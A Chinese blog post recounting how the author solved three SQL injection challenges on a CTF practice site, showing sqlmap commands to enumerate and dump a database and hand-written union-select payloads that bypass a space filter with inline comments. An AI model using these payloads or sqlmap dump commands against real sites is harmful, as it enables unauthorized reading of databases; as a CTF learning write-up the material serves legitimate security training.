zoukankan      html  css  js  c++  java
  • sql注入学习心得与sqlmap使用心得

    做题是最好的老师

    首先先来分享一下我用来练手的题目,实验吧中的简单的sql注入1,2,3

    不得不说,sql注入真是一个神奇的东西,至少我以前看起来一点头绪都没有的题目能入手了

    首先是简单的sql注入3(别问我为什么不是1)

    打开链接之后发现

    陷入沉思,这时候我决定使用sqlmap对他进行sql注入

    在终端输入python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs,然后就开始等他跑,当然跑的过程有点长,就不贴图了

    最终结果得到

    3个表,这可还行,然后我们打开web1看看里面有什么列

    python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1

    emmmmm,熟悉的字眼,是flag!

    于是我们再进入列看看

    python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

    flag已经出现了,这时候我们只需要把它dump出来就好了

    python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1

    最终得到答案 flag{Y0u_@r3_5O_dAmn_90Od}

    当然,这样可能比较麻烦,所以第二题我就换了一种方法

    输入1发现,那我们再输入1 and 1 = 1

    报错了,emmmmm。于是看了一下别人的wp,原来报SQLi detected!,说明有防护;name: baloteli 说明过滤了“空格”

    所以我们先查看有哪些数据库
    1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

     好家伙,又是web1,那我们再看看有什么表

    1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

    找到了这个,那我们再看看里面有什么东西

    1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1

    最后输入1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

    答案就出来了flag{Y0u_@r3_5O_dAmn_90Od}

    最后我们来说一下简单的sql注入1

    当然我的做法和2一样,只不过看列的时候出现了一点问题

    于是我直接就进行了最后一步,希望能得到答案,当然最后还是运气好得到答案了

    flag{Y0u_@r3_5O_dAmn_90Od}

    希望有dalao能解答一下我最后遇到的问题,欢迎评论

  • 相关阅读:
    leetcode 87. Scramble String
    leetcode 1278 分割回文串
    back propagation in NNs and RNNs
    刷题笔记——单调栈
    unsupervised learning -- K MEANS
    install j3d on macOS
    java extract jar file on MacOS
    back-propagation algorithm
    day 4
    day 3
  • 原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/10666044.html
Copyright © 2011-2022 走看看